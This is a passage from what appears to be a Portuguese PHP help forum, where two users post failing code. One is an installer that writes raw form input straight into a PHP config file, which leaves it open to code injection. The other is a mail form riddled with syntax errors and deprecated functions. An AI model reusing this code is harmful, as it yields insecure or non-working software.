class="input-block-level" required placeholder="Database user's password" name="db_pw"> <input type="text" class="input-block-level" required placeholder="Database name" name="db_name"> <input type="text" class="input-block-level" placeholder="Database prefix (OPTIONAL)" name="db_prefix"> <h2 class="form-signin-heading">Admin account</h2> <input type="text" class="input-block-level" required placeholder="ADMIN's email" name="ad_email"> <input type="password" class="input-block-level" required placeholder="ADMIN's password" name="ad_pw"> <button class="btn btn-large btn-primary" type="submit">Begin installing</button> </form> <? } ?> </div> <!-- /container --> <!-- Le javascript ================================================== --> <!-- Placed at the end of the document so the pages load faster --> <script src="assets/js/jquery.min.js"></script> </body> </html>  
      Linhas a partir da 267, onde é informado o erro: 
      $content = "<?php /** MySQL hostname */ define('APP_DB_HOST', '".$_POST['db_host']."'); /** MySQL database username */ define('APP_DB_USER', '".$_POST['db_user']."'); /** MySQL database password */ define('APP_DB_PASSWORD', '".$_POST['db_pw']."'); /** MySQL database name */ define('APP_DB_NAME', '".$_POST['db_name']."'); /** MySQL table prefix */ define('APP_TABLES_PREFIX', '".$_POST['db_prefix']."'); /** Mail sender and config */ define('SMTP', '0'); // 1 for using SMTP, 0 for using mail();  
       
      Como é um site já pronto, acho estranho ter esse problema, mas como ainda estou estudando, não consegui identificar ou achar uma solução até agora
       
      Obrigado pela atenção
    • Por ZuptInformática
      Prezados amigos, boa tarde!
      Sou iniciante e estou me deparando com o seguinte erro no meu codigo PHP:
      Parse error: syntax error, unexpected 'para' (T_STRING) in /var/www/html/technobarros.com.br/web/Pagina/formulario.php on line 14
       
      Esse é  codigo:
      <? // Coloque a mensagem que irá ser enviada para seu e-mail abaixo: $msg = "Mensagem enviada em ".date("d/m/Y")." os dados seguem abaixo: "; while(list($campo, $valor) = each($HTTP_POST_VARS)) {   $echo "O valor de nome é: "; . $_POST["nome"];   $echo "<br>O valor de telefone é: "; . $_POST["telefone"];   $echo "O valor de email é: "; . $_POST["email"];   $echo "O valor de titulo titulo é: "; . $_POST["titulo"];   $msg .= ucwords($campo).": ".$valor.";    } // Agora iremos fazer com que o PHP envie os dados do Formulário para seu e-mail:  mail("contato@zuptinformatica.com.br"; "Assunto do E-mail",$msg,"From: $REMOTE_ADDR"); echo "Seu e-mail foi enviado com sucesso. Obrigado"; ?>  
      Podem me ajudar por favor!
       
       
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.